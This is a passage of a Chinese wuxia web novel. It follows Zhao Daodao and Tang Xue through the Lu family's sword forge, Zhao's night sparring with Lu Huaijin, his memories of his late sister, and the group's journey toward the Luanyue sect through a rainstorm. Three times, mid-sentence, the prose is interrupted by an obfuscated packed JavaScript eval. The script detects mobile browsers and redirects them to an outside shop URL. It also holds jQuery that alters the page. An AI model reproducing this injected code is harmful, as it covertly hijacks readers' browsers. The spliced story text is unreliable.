但阳光并不刺眼,因为眼睛被遮住了。 工匠所在处比较隐秘,并不在陆府中。 赵刀刀和唐雪不是陆家人,被蒙着眼带上马车,只觉得马车晃晃悠悠走了很久,令人昏昏欲睡,不知道什么时候真的睡过去,一觉醒来,就到了地方。 赵刀刀还有些怔愣,眼上的绸布滑落脖颈,她适应着光线,摸到腰间的黑刀,清醒过来。 马车停驻,周围有风沙和铁屑的味道。 她叫醒唐雪,扶着车缘跳下,一手伸过去接唐雪下来,一手顺势取下了脖间的绸布。 车夫已经悄然离开,陆怀瑾正负手站在前面。 两天不见,赵刀刀心有余悸,见他先是心中一怵,随即明白这会儿的陆怀瑾不是那个深夜剑客,只是佩城最出名的铸剑师,放下心来。 他回头看了一眼,“跟上。” 赵刀刀和唐雪对视一眼,快步跟上。 陆怀瑾带着他们穿过一扇巨大的门。 他边走边说,“这里有制刀、箭簇、长枪和其他兵器的工匠,你们若有兴趣可以停下观摩片刻,不要打扰到他们。” 二人点头示意。 他接着道,“铸剑在最里头。” 这里四面通风,却还是带不走笼罩的炎热气息。 空间被划分成不同大小的房间,窗开的很大,门的位置只有空出来的口子,没有装上门板,多余的空间里摆满了水缸,除了他们还有人来来往往,敲打铁器的声音不断传来。 仿佛一个百折千回的迷宫,一个隐于世俗的村庄,没人引路就要迷失其中。 走着走着,赵刀刀已经开始怀疑眼前的屋子是不是刚刚才遇到过。 她和唐雪紧跟在陆怀瑾身后,不敢落后半步。 眼前豁然开朗,高高的穹顶被火光映照得通红,或长或短的剑被随意的插在两旁的熔炉中。 唐雪瞪大双眼,眼神发亮,忍不住问道,“这就是剑炉?!” 陆怀瑾停下来,看着一把剑被熔炼成水,砰的倒下去。 他淡淡道,“不是。”他继续往前走,声音冷冷地传来,“这里都是炼废的剑。” 唐雪惊讶地看着那些看着锋利无比的剑刃,已经打磨过的成品居然就这样丢在这里,她低声与赵刀刀耳语,“这也太任性了吧。” 赵刀刀点头低声道,“的确任性。” 不久,她们就见到了真正的剑炉。 哪怕再不识货的人,也能一眼看出这里的剑已经与之前所见完全不同,也与市面上的卖品有明显的区别。 有的剑被插在剑炉里,寻常的高温已经无法将他们融化,只是与火焰接触的地方微微发红。 还有漂亮的半成品被挂在空中,高低错落,像是垂下的装饰。 它们美丽而锐利,可若是伸手去碰,只会比玫瑰更加伤人。 这些剑的花纹各不相同,却都有一个共同的目的——让这把剑更顺手。 剑柄还没有装上,裸露在外的剑把上都刻着小小的字。 陆怀瑾的到来让这里的大部分人都压低了头,更加认真地忙着手里的活儿。 但还是有人瞥见陆怀瑾,放下手里的剑,兴冲冲地过来打招呼,“陆当家!” 陆怀瑾笑笑,拍拍他的肩膀,“今天可不喝酒。” 那人也大笑几声,玩笑道,“难道我老八在你这里就只是个酒鬼吗?!” 陆怀瑾摇摇头,“你当然不只是个酒鬼。” 老八还以为陆怀瑾要在外人面前给他几分薄面,正挺起了胸膛,就听陆怀瑾道,“你还是个会耍酒疯的酒鬼。” 老八挠着脑袋装作没有听到的样子,转头问,“欸,这两个姑娘是陆家的?那个去峦岳派的?” 陆怀瑾道,“不是。”他看向她们。 “八前辈,”唐雪上前行礼道,“晚辈唐雪,家父与我皆对陆家铸剑术慕名已久,今日终于有缘得见。”她侧身道,“这位是我朋友赵刀刀。” 赵刀刀也上前行礼。“晚辈赵刀刀。” 陆怀瑾看着她不着痕迹地扬了下嘴角。 赵刀刀低着头抽了抽嘴角。 老八明白过来,“唐堡主的掌上明珠啊!对对对!你前几天说过的。”他一拍脑袋道,“瞧我这记性!” 陆怀瑾斜睨了他一眼,道,“带她们过来看看,也没你什么事。” 老八讪讪一笑,“有朋自远 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陆怀瑾接着说,“这里的剑已算是上品,给门派和其他家族的基本都是这样的品质,还有更好的,在里边。” 赵刀刀看着这些剑,指着不远处的一把问道,“这把怎么不一样?” 唐雪看过去,这些剑乍一看都差不多,她仔细些瞧,才发现恩人指的和其他的花纹不同。 陆怀瑾看着她。 赵刀刀见他半天不说话,忍不住后退一步,手已默默搭上刀柄。 说来惭愧,这是她最近不得已养出来的习惯。 唐雪没有注意到气氛微变,她正在好奇。 陆怀瑾低笑一声,转头看剑,解释道,“陆家的规矩是,六岁学剑,十二开始制剑。” 赵刀刀不着痕迹地垂下手,默默点头,难怪外面有好多小孩。 陆怀瑾的目光已穿过那把剑望向更远的地方,他慢慢道,“陆家先辈认为,所谓制剑,并不只是单纯地重复。” “就像是给小孩做玩具的木匠,如果只是一味制作玩具自己却不去玩,那就不过是个物件。” 他的声音低沉冷漠,“这样的技艺不足为道,其他人也能学会,只不过是时间问题。” “所以陆家不同。”他说。 “想要制出真正流传千古的宝剑,制剑反而不是最紧要之事。” “倘若一个人想做一把真正的好剑,他就必须知道持剑的剑客会如何握剑,知道他的拿剑的到底是左手还是右手,知道他最惯用的剑招,最多挥剑的方向,有时,剑的两面还要有细微的区别。” 赵刀刀惊讶道,“一个人要做到这些?” 这和她所想的铸剑不同,实在太过强人所难。 陆怀瑾轻笑一声,“这当然不是一个人能办到的事。” 他一伸手,拔出一把长剑,手指轻轻拂过剑身,一弹,剑身嗡鸣不止,“倘若一个人学习三种以上的剑法,便已经注定他此生无法真正掌握其中任何一种,甚至于越是想要深入,那些细小的区别越是能将人逼疯。不是每个人都是天才,这世间最多的还是普通人。” 他将长剑掷回剑炉,低声道,“所以陆家每一代,每一个人,都在为这个目标努力。” 剑还在轻颤。 陆家弟子被送到不同的门派习剑,被请来不同的老师教导。 其实许多世家后代也是如此。 唯有一点不同。 世家子弟总是还有选择——选择留在门派,选择继承家业,选择浪迹天涯。 天下之大,少年意气,何愁留不下自己的故事。 而陆家人,终埋名剑冢。 赵刀刀又感受到了初进陆府大门见到那块巨石时的那种庄严和荣耀。 炉火生生不息,宝剑永垂不朽。 她又忍不住看向他的手。 原来那双手套也不算完全贴合,她竟看不出那双手是否绷着青筋。 陆怀瑾的手在背后交叉,一只手虚握成拳。 这就是陆家人的命。 26. 出发 陆怀瑾的剑轻而快,剑尖之下仿佛无处可逃。 赵刀刀的身法轻巧,刀却更快。 陆怀瑾一开始是有意喂招,眼看赵刀刀进步神速,他渐渐也要全力以赴才能将她压制。 没有什么比一个合适的对手更能让人进步,至少对赵刀刀是如此。 她的生活并非游走于刀尖之上,所以这样的机会就更为宝贵。 她日日不懈练刀,为的不正是把握住这样的时刻? 赵刀刀已不会再被陆怀瑾的手扰乱视线,而是专注于他整个人的方位,看他的眼神,肩膀,腰胯,从任何一点细小的变化中判断出招。 陆怀瑾道,“你的刀已使得很不错。” 这还是谦虚些的说法。 事实上陆怀瑾往前再推二十年,也没见过在这个年纪就将刀法练得这样精湛的少年。 她基础扎实,悟性过人,最难得的是心性坚韧,输了不会心浮气躁,再来总是充满信心,仿佛什么都无法将她打倒。 赵刀刀已将刀使得像自己的手一样灵活。 以陆怀瑾的眼光,他知道那把黑刀绝对不轻。 握着这样一把重刀,出招却迅疾如风,她所付出的努力一定是常人无法想象。 赵刀刀有些脱力地躺在地上,喘着气。 她累极了,眼睛却亮晶晶的,笑了笑道,“谢谢。” 她透过树叶望着头顶的月亮,轻叹道,“可我还是不如你,在牡丹城,我也有不如的人。” 陆怀瑾在不远处坐下,轻笑道,“你年纪不大,胃口倒是很大。” 赵刀刀并不否认,“我是来当第一的。” 陆怀瑾很少见到将自己的野心这么直白托出的人,她的语气轻松,神情却很认真。 “有志气是好事。”他望向赵刀刀,“你为什么要当第一?” 赵刀刀看着天空,“我师父说,这世上的人,想要有所成就,都要定下目标。” 陆怀瑾摇头笑道,“所以你的目标就是第一?连你也不知道自己为什么要成为第一?” 赵刀刀轻轻摇头,“我的目标并不是第一。” 陆怀瑾好奇道,“那是什么?” 赵刀刀沉默片刻,那个被上了锁埋在心底的箱子,终于又被悄悄打开。 “我的刀。” 她的声音又轻又低,话只是刚说出口就飘散在夜风中。 陆怀瑾没听清,问,“什么?” 赵刀刀道,“我想留住一个朋友。” 陆怀瑾笑道,“哦?你这朋友竟有这样大的派头,什么样的朋友需要成为天下第一才能守得住?” 赵刀刀眼中映着满天星辰,勾起嘴角,弯着眼睛轻声道,“我也不知道。” 她说,“我一开始也只是练刀而已,自从我有了这个朋友才定下了这个目标,不过你现在要我说,我也想不起来为什么会变成这样了。” 世上有很多事总是很难讲清理由的,能捕捉到一点思绪的影子已经很难得。 有时候只是出于一种冲动,有时候甚至只是盲目地跟着别人的脚步行动而已,可不知道什么时候停下来回头看,居然也生出了自己的理由。 陆怀瑾对这种感觉倒并不陌生。 赵刀刀坐起身来,拍拍土,话锋一转,撑着脸问他,“你呢?” “什么?” 赵刀刀问,“不会觉得累吗?” “累?” 陆怀瑾此刻还真的开始思考,毕竟他已经很多年不去思考这个问题。 赵刀刀是个不错的朋友,和她待在一起,他像是也回到少年。 如果他少年时遇到这样一个朋友,或许就不会活得那样辛苦。与她交谈,仿佛一切都烦恼都只是过眼云烟,不论说多么大的话,多么沉重的心情,她都轻描淡写地接下,认真又轻松地回应。 陆怀瑾想,遇上她是周向晚的幸运,那小子一向运气不错。 他缓缓道,“一开始会累,遇到挫折也会想放手,不过当你周围的每个人都在为同一个目标努力的时候,就不会再有这样的感觉了。” 他低头叹息一声,轻笑道,“如果你不够努力,还会生出歉意……有时候这样的感觉还不错。” 赵刀刀想象不来,问,“这就是家族?” 陆怀瑾道,“或许是。” 多少人想要拜入陆家,为的不就是这里不问世事的清净和始终如一的追求? 陆家或许是一间牢笼,可谁又能说这里不是一个桃源。 赵刀刀又问了另一个她好奇很久的问题,“你的剑杀过人吗?” 她总觉得陆怀瑾,或者说陆家的人都和外面的人很不相同。大约是因为他们不用争,不用抢,就有那么点遗世而独立的意味儿,明明是铸剑,却很像修道,怪高雅。 如果学剑只是为了制剑,那是否还有出剑的理由? 或许没有……可每每想到这样的结局,她就感到一股不甘,还伴随着一种奇怪的高尚。 这高尚既令人敬佩又令人作呕。 陆怀瑾失笑道,“你为什么会觉得我没杀过人?” “这……” “陆家百年根基。” “嗯。” “要是真只会铸剑,这百年里出一点差错,早就成了他人的附庸。” 赵刀刀点点头,“也是。” “陆家的剑,是用来保全自己的。” “啊……”赵刀刀看着陆怀瑾,困惑她好久的疑问终于解开,她感慨道,“有道理。” 陆怀瑾道,“再来过两招?” 赵刀刀腼腆一笑,起身拿起刀,推辞道,“赊给明天吧。” 陆怀瑾笑了笑,“行。” 赵刀刀按着过来的法子,轻轻一跃,绕过围墙,跳上屋顶,轻巧地赶回去。 像一只黑夜里的猫。 她在这里发现了一件事——陆怀瑾有时候像个挺有活力的少年,有时候又像个年过半百的老人。 人总是很复杂的,但这样的表现却并不少见。 赵刀刀心中暗道,是不是任何一个没有真正老去的人,都是这样? 不过这疑问还没找到回答就消散在洗漱之后。 毕竟她一向不是一个喜欢烦恼的人,尤其最近她还喜欢上了那种安稳睡去的感觉。 天气明媚。 阳光正好。 时间有时候明明很难熬,但过去了又觉得实在太快。 鸟站在树枝上,今天也早早地开始唱歌。 唱的周向晚心烦意乱。 他用被子捂住头,只渴望天再多黑一会儿。 今天正是他们要出发去峦岳派的日子。 事实上他明明对那个传言里的表妹已经没什么印象了,你若是不知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13063191|137808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道一个人的名字和样貌,也不记得她做了什么事,按理说是不会为她揪心的,因为这人对你来说只是个陌生人罢了。 但周向晚还是忍不住觉得烦恼。 因为他已从唐雪口中知道了那些陈年烂谷子的破事。 唐雪的语气和表情都很生动,将那些根本与她无关的事描述的绘声绘色,就像是她曾经亲眼见过。 周向晚哪怕不是很喜欢陆府,也万万想不到有一天他居然会在自己的家里,请求别人不要再在他的耳边,讲他以前的故事。 这里果然只是个伤心地。 在唐雪的描述下,他和那些随便践踏别人心意的浪荡子弟也没什么区别了。 偏偏那些事他好像还真的做过。 这种当时不觉,事后让人想要灭口的感觉,只让他觉得不妙。 更不妙的就是他还要和故事里的主人公见面了。 唐雪已早早打扮好在外等着了。 她穿着浅绿的小立领上衣和比上衣微深一点的裙子,裙摆很轻,走起来像是花一样轻轻地绽放,又像是湖中泛起的波纹,荡开到两边,飘逸又淡雅。腰上系着银色的腰带,显出她盈盈一握的细腰,让这些绿色被自然地衔接起来,腰带上还挂着一个粉色的玉佩,长长的穗子像是花蕊一样。 头发挽起来,绿色的发带穿梭在黑发里,发髻里还插着一根尾部是粉水晶的簪子。 耳边的碎发毛绒绒的,耳朵上也是粉色的坠子。 绿色是自然里经常出现的颜色,树木花草总能绿的各有不同,但穿这种颜色的人并不多,因为绿色其实很看搭配的功底,每个人都见过那么多种绿色,穿不好,就会很奇怪,可能还会显得人气色不好,又或是年龄太大。 但唐雪穿的很漂亮。 她挑的绿色也不太跳脱也不老气,她白皙的肤色本来就很称这种颜色。 而她的脸粉粉嫩嫩,就又活泼,又好看,像是刚摘的桃子一样。 春天明明已经走了,却又在她身上复苏。 赵刀刀今天也觉得自己的眼睛得到了善待。 她走近唐雪,“早上好。” 唐雪笑着说,“恩人早上好啊!” 周向晚的房门还紧闭着。 赵刀刀提议道,“我们先去吃饭吧,给他一点时间。” 唐雪应了,玩笑道,“唉,原来这么长时间都不够啊。” 赵刀刀道,“他可能想多在家里待一会儿。” 她心想,这其中唐雪大约占了一半原因。 唐雪笑道,“他在外面说自己不想回来,回来了又不想出去,男人是不是都这样口是心非?” 赵刀刀附和道,“你说的也很有道理。” 听到刀子精的冷哼,她立刻改口道,“不过其实很多人都这样的,我有时候也会,也没什么。” 唐雪看着她惊讶道,“恩人……跟我一起出来竟然还要受这样大的委屈吗?恩人不肯说,是不是我哪里做的不好。” “……”赵刀刀困难地勾起一个笑,僵硬道,“没有,是我做的不对。” 刀子精冷笑一声。 唐雪想了想,跟她约定道,“那恩人以后要是有想要的东西,不许骗我。” 赵刀刀认真道,“好,一定不骗你。” 她诚恳的神色讨人欢心,唐雪一时彻底忘了周向晚,高高兴兴去吃饭。 27. 白玉 行礼已收拾妥当。 赵刀刀和唐雪一起出去吃饭,不在陆家,院子里只剩下周向晚还在房中。 庭院寂寥,一个人踏着树荫缓缓走入院门。 他只往院子的方向走了几步,就停下站着,没有更靠近。 陆怀瑾就站在赵刀刀那晚见到他的位置。 他负手而立,抬头看向院子里的那棵树。 这里的榆树是陆怀瑾出生那年陆夫人亲手种下的。 陆夫人是他的姐姐,周向晚的母亲。 树如今已经很高大,周向晚后来搬去的院子里也种了一棵。 这两处院子几乎一模一样,只有大小的分别。 周向晚离家出走了两年还多。 一开始陆怀瑾以为他只是小孩子脾气,出去跑两天就会自己回来,没想到过了小半月,这小子还是没有音讯。 倒是跑了个干脆。 陆家子弟大多一出生就被定好了未来,不是没人反抗过,陆怀瑾小时候也曾有过离家出走的念头,只是跟大部分陆家人一样,最终也没将想法付诸行动。 少年的离经叛道最终随着年纪长大渐渐消失,成了年少无知的玩笑趣事。 所以真有人跑了,陆怀瑾惊讶之余,一时还真想不到什么手段把人劝回来。 不过好歹周向晚出去之前还记得收拾衣物,多拿些财帛傍身,陆怀瑾当时想着,他这侄子脑袋还算灵光,不是有勇无谋之辈,出去便出去吧,至少不是那些什么都不带就孤注一掷跑出家门的蠢货。 他后来抽空琢磨了下,还真从他跟周向晚为数不多的交流中发现了一点儿端倪,要出去这件事,周向晚恐怕已想了很久。 周向晚跑出去的时机很巧妙,当时他父亲为一批货去了南边,不在家中,陆夫人外出祈福,也不在家中,谁也没料到,他会趁这个时候离开。 等陆夫人回来了,对着空荡荡的庭院思念儿子,整日整夜牵肠挂肚睡不着觉,还是陆怀瑾帮着他给陆夫人说了几句好话,陆夫人提着的心才放下些。 为了让陆夫人安心,也怕他真的惹下是非,没多久陆家派人出去寻,暗中探到周向晚过的不算差,陆怀瑾这一口气也就彻底松了。 等后来陆家内部生变,忙起来之后陆怀瑾更没功夫顾着那边了。 他要管剑冢,还要管陆家,殚精竭虑。 陆夫人生过孩子之后身体就一直不好,周向晚在的时候脸上还能添些喜气,丈夫和儿子都不在身边,家里又出了事,哪怕陆怀瑾天天寻名医来看,药方一个接一个,她的身子还是一天天衰败下去。 久病成医,她对自己的身体了如指掌,大夫再在她面前委婉地说着好话,陆夫人也明白自己不会再好起来了。 不知何时,屋中芍药的香气已经完全变成苦涩的药味。 陆夫人早已接受了自己的身体情况,陆怀瑾也看不下去陆夫人天天遭这罪,后来干脆停了药,每天做些药膳调理,看望时只报好消息给她,再跟她聊聊周向晚在外遇到的趣事。或许是心情好了,身体也受到影响,那之后陆夫人的气色居然还真的有所好转。 可惜身体亏空太多,最后还是没熬到周向晚回来。 直到临走前,她都没提过半句要让人把周向晚叫回来的事,只说,“我知道,你是看着他长大的,把他托付给你,我总是放心的。” 陆怀瑾知道,陆夫人那时候也不想让儿子回来趟这滩浑水,非常时期,他只好一切从简办了丧事,强忍悲痛,连消息都不敢走漏分毫。 好在家事后来有了转机,陆家的动荡渐渐平息。 等一切处理好,陆怀瑾就搬到了周向晚的院子。 原来的地方满是伤心事,他已不能踏入那间屋子。 世事难料,不到一年,陆家与他走得近的人居然只剩下那个没说过几句话的侄子。 然而他等了很久,也没有人回来。 他或许也挺天真,还带着点私心,让院子周围守卫不用太严,心想,说不定那小子还能有点良心,会偷摸着回来瞧瞧。 他最累的那段时间也夜夜至此。 榆树是老朋友了,就是没有人归来。 他在那些夜里彻底品味到酒的滋味儿,醉酒到天明,白天还不能让别人看出来他有什么不对,只能撑着。 铸剑,守孝,谈单子,验货,考察新人……他头一回发现,原来陆府的破事儿能有这么多。 他有些羡慕这个侄子了,他也真想一走了之。 陆怀瑾那时候几乎觉得要被压垮的不是原来老旧的剑炉,不是陆家百年的基业,而且他自己。 佩城人人都夸他后生可畏,都说陆府二当家年轻有为,前途无量。 可事实上,他也不过是常人。 好在一切都过去了。 陆怀瑾又站着发了会儿呆,听到木门嘎吱一响转头望过去,他的位置被树挡着,周向晚看不到他。 周向晚长高了些,手里还拿着他那把折扇。 不管他要找的那个人在哪儿,都希望他早些找着那个人吧,陆怀瑾想。 他这侄子这么年轻,有主见,有能力,前途也该是无量的。 让他的路再顺些吧。 周向晚若有所感,看向院中的榆树,探着头也什么都没看到。 他疑惑地挠挠头,随即长叹了一口气,转身把房门合上,整了整衣领,认命般地走出院子,问了人,去找赵刀刀她们。 陆怀瑾等他出去了很久,才慢悠悠走出院子。 有家丁前脚和周向晚打了招呼,这会儿又见陆怀瑾出来,“二当家,少爷朝那边去了。” “嗯。” 家丁看看周向晚离开的方向,又看看陆怀瑾朝着另一边走远的背影,一时摸不着头脑。 载满长剑的车厢正停在城外。 赵刀刀在马边上等着,这回他们骑马去,唐雪冲着挽留她的丫鬟们挥了挥手,周向晚抽了抽嘴角,拿扇子挡着。 他的脚步拖沓极了,但这么多人等着,再慢也得出发,最后还是拖着沉重的心情一起上路。 陆府的家丁守在货车旁边,见他们过来笑着打了招呼,不忘叮嘱小陆少爷记得多回来几次,要是年末的话陆家还能再热闹些,不过一肚子的话没说几句就被催着回去了,留下运货的和周向晚他们一起走。 出城几十里,城外少有人家。 那股子剑炉发出的热气不在后头了,赵刀刀这才觉得自己离开了佩城。 只剩下天热。 佩城地势平坦,但四面环山,出了城路渐渐难走起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13063192|137808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来。 走了两个时辰,天色忽变。 不知道天上什么时候聚了厚厚一层云,闷闷地压下来。 运货的人对这段路和天气都很熟知,道,“这天儿快下雨了,陆少爷,咱们得快些赶路,早些到峦岳派,不然中间就得找个地儿歇脚等雨停了。” 虽然剑被包好之后还盖了一层油布,但这批可不是寻常货物,运货的不敢因为自己赶路真让货淋了雨,搞出什么麻烦他可担待不起。 周向晚应了声。 赵刀刀看向唐雪,天色阴沉,唐雪还亮亮的。她感觉这雨说下就下,不会给他们赶路的时机,找个落脚处才是要紧事。 他们正朝东面走,佩城东边山势最为连绵,山也高大险峻。 天气好的时候,能看到苍松立于悬崖之上,瀑布千丈飞流而下,峭壁上藤曼空悬,鹤唳猿鸣,恍若仙境。 山很美,名字也好听,叫白玉山。 不过白玉山以玉为名,倒不是因为这里有玉,而是因为这里有一种石头。 这石头通体白色,坚硬无比,可哪怕是佩城的工匠也无法将这种石头打磨利用。因为它无比坚硬,又无比脆弱,坚硬的质地叫雕琢它的人难上加难,好不容易寻到趁手的工具能够将它处理,一旦没控制好力度,又会因为一个缺口就碎成细砂,得不偿失。 据说峦岳派的山门就是用这种石头打造。 白玉山不止一座山峰,这里群山错落,奇峰峻峦,高耸入云。 在云层遮掩的山顶,就是峦岳派的所在。 只是他们现在看不到那种飘渺景象,只能看到压下来的乌云,山体被挡的严严实实,目力所及昏暗阴沉。 赵刀刀一路上已经多次听到峦岳派的大名。 不过与她想的相反,峦岳派并非传承几百年的大门派,只是百年间兴起的小门派之一。 之所以发展到今天的规模,有一半都是白玉山东山主人、峦岳派大长老张秋水的功劳。 世人皆传,张秋水一生有三件事可以称道—— 一,他根据断水剑法创新断水剑,留下剑谱,并不断改进。断水剑法讲究借力打力,遇强则强,剑法的威力在江湖中已得到很多印证,如今正是峦岳派最火热的独家绝学,每年不知有多少少年英才都渴望拜在他的门下。 二,张长老一向惩恶扬善,仗义执言,当得一个侠字。曾经被他救下的人到今日有许多都成了地方豪杰,只要他的名号在一天,峦岳派的门匾上就等于还写着名门正派几个大字。 三,张长老是难得一遇的武学奇才,他苦练剑法,现下武功造诣深不可测。据说在江湖榜上的第十只是因为他无心于江湖纷争,是以至今为止世人也没有见过断水剑法的全貌。 轰隆两声,雷声突作,狂风席卷而来。 山路难行,就算是马车,到了峦岳派的山脚下,也不得不弃车而行,幸好他们没自找麻烦。 看这情况,是时候去找个地方避雨了。 赵刀刀与唐雪问过送货的,得知应该在前面不远处就有一处歇脚亭,只是天色暗了路也难辨,这人现在不敢保证万无一失,她们得先行一步去前面探路。 这雨来的真不是时候,衣服这样漂亮,可不能淋湿了。 赵刀刀策马飞奔。 28. 暴雨 马蹄疾弛。 没走多远,果然见前面有一处亭子,已经有一二路人在里面歇脚。 亭子不算太大,但容纳十人绰绰有余,还有一截长廊横在亭子旁边。 赵刀刀勒马道,“你在这里占个地等会儿,我去去就回。” 唐雪点点头,到长廊台阶前翻身下马,将马牵到廊下拴住,朝亭中走去。 歇脚的人朝她看了眼,又继续低头锤腿。 不久,赵刀刀去而复返。 路上作为前奏的小雨已经淅淅沥沥滴了几滴,几人前脚刚到亭中,大雨就在后脚倾盆而下。 雨幕遮盖了光线,四周更暗。 潮湿的雨水气息沾染了衣襟。 周向晚急匆匆下马,赵刀刀等在一旁,正想与他一起去找唐雪,余光一瞟,就看到旁边拉货的人在廊下绑好马车,给马放了些粮草,拿着马鞭慢慢走到低矮的围栏边坐下。 她眯了眯眼,等周向晚走进亭子才跟在后头进去。 她方才注意到,这拉货的衣服鞋子颇为讲究,他的衣服是旧的,但是洗的很干净,运这批货到现在,他的衣服上也没有什么灰,他的鞋是新的,但是鞋底比一般的鞋更厚,脚跟略鼓,脚尖略高,长途跋涉也不会压迫到脚。 一个寻常拉货的人,大约不会这么讲究。 刀子精不知什么时候醒的,默默出声道,“这鞋倒很适合爬山。” 的确如此。 唐雪正在用手接屋檐边落下的雨珠。 周向晚坐在另一头靠着柱子扇扇子。 赵刀刀走到周向晚身侧,问,“那人叫王四?” 她记得出发前这么介绍。 “对。怎么了?” “没事。”赵刀刀摇摇头,回到唐雪身侧斜靠着柱子,抱着刀站着。 王四拉货是这两年才开始的。 他本是佩城当地的镖师,几年前,原先所在镖局的生意不景气,散伙了,有兄弟跑到外地去投靠其他镖局,问他去不去,他最后想了想,没走,决定留下来。 他在佩城待久了,有些感情,不想走。 他爹也是跑镖的,从小教他功夫,带他去镖局,忙起来就放他吃住都在镖局,大家都很热心,不会少了他一口饭。 他在镖局跟着看,跟着学,到十几岁终于跟着师傅走了第一趟镖,后来终于可以独当一面,稍一回首,居然已经跑了半辈子镖了。 他半辈子都在外面走,几年也没在家里好好过过一次年,生意没了的头几年,终于可以天天在家,但没了事做,又急又烦,也待得不顺。 他不习惯人忽然空下来的那种感觉。 其实要说没事做也不是,但就是几天几天地睡不着觉,急啊,着急上火,夜里惊醒几回担心自己的货,急急忙忙穿好衣服跑出去,在门外站着好一阵才意识到自己已经没活干了,又躺回床上等天亮。 他的性子闲不下来,哪怕攒了些积蓄,还是想着要不再去找个镖局重操旧业算了。但是看着家里拄着拐的老母,又舍不得离佩城太远。 或许是老天看他不够孝顺,放他在外面跑了这么久,也是时候留他在家乡过几年安生日子了。 替陆家干活儿这事是阴差阳错牵上线的。 一起喝酒的兄弟有天忽然问他,陆家有个活你干不干,也不远,就往佩城周围跑跑。他当时还想着,陆家一贯派自己人押货,这天大的好事怎么可能轮得到他,没想到第二天陆家的人还真找上门问他做不做。 说是听说他在镖局干过些日子,手头的镖基本都顺利到达,功夫还算漂亮,也没和人起过什么冲突,说要是他乐意可以先试试,就是接了单准不能出问题。 王四一盘算,送上门来的好活,他这心里头痒痒啊,手也痒了好久了,更何况这可是陆家啊,就算最后人家有人了不要他,他也得先试试啊。 这一送,就送了快两年了。 陆家往白玉山送的货基本上他都跟着的。 王四在长廊歇了会儿,拿着水走过来,喝了口,看着大雨,擦着汗道,“这雨来的可真急啊,还好咱们走得快,不然半路要被淋成落汤鸡喽!” 周向晚点点头。 唐雪用手帕擦干手上的水,仰头看向赵刀刀,恩人在看雨。 她戳戳赵刀刀的侧腰,轻声道,“恩人喜欢下雨天?” 赵刀刀思考片刻,摇摇头,“说不上喜欢。” 只是觉得新奇。 一个人躲在屋檐下的时候很有心思欣赏雨景,撑把伞在雨中走过也能算从容,可要是淋着雨,心情就不会这样美妙了。 赵刀刀淋雨的时候多,这样悠闲地观雨等雨停的时候一只手都数得上来,还挺新鲜。 她问唐雪,“你呢?” 唐雪道,“这种大雨不行。”她看着雨势一边点评一边摇头,“我喜欢更小点的雨,绵绵细雨那种。” 赵刀刀笑了笑。 那头王四接着说,“陆小少爷,我王四送货这么久,这还是头一回见着真正的陆家人,果真是一表人才啊,听说——陆少爷的小叔就是那位陆当家?” 周向晚摸摸鼻子,“你还是叫我周向晚吧。嗯,是我小叔。” 王四看着他的眼神霎时带上了崇拜的色彩,他也不多问为什么陆家的少爷非要别人叫他周向晚,迅速改口道,“周少爷,其实我王四一直有个问题,就是不知当问不当问。” 周向晚道,“但说无妨。” 王四咽了咽口水,“那我就问了……周少爷,陆当家的手……可真是金子做的?”他压低声音道,“我听他们说,这但凡是被陆当家碰过的东西,可都成了价值连城的宝贝!” 周向晚啪的一展扇,扇着扇子笑道,“原来是这个……其实他们说的也不错,只是个中细节实在不便透露。” 与他不相干的事,他说起来最头头是道。 唐雪和赵刀刀相视一笑。 周向晚接着乱编,神神秘秘道,“其实啊——陆怀瑾不但手是金子做的,他身上穿的、戴的,可都比他手里出来的剑还值钱。” 王四一愣,“这陆当家的剑……”他瞪大了眼睛,“这可真是富可敌国啊……” 周向晚煞有其事地点点头,又摇摇头,做了个噤声的动作。表示自己已经说了太多,不能再透露更多。 王四表示清楚,看着雨换了个话题,“这雨来的快,去得也快,我们等会继续赶路,应该能赶晚上到峦岳派,你们年轻人就是体力好,这两个时辰也不见累的。” 周向晚道,“过奖了,我们要是再快些,能赶在晚上之前到吗?” 王四想了想,“这雨要是停的快些,或许可以的。” 周向晚点点头,道,“我看这路你熟得很,王四……先生为陆家送货多久了?” 王四用毛巾擦着汗,连连摆手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13063193|137808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道,“欸,我王四就是个俗人,哪儿担的上周少爷的一句先生啊,叫我王四就行。”接着道,“我给陆家送货一年多了,主要负责的就是佩城到峦岳派的这批货,要是不太忙送得过来,周围其他送货的活儿我也接一接。” 周向晚问,“这一路往来的都是货商吗?” 王四道,“也不是,送货的有,赶着去峦岳派拜师的也多。” 周向晚道,“拜师?” 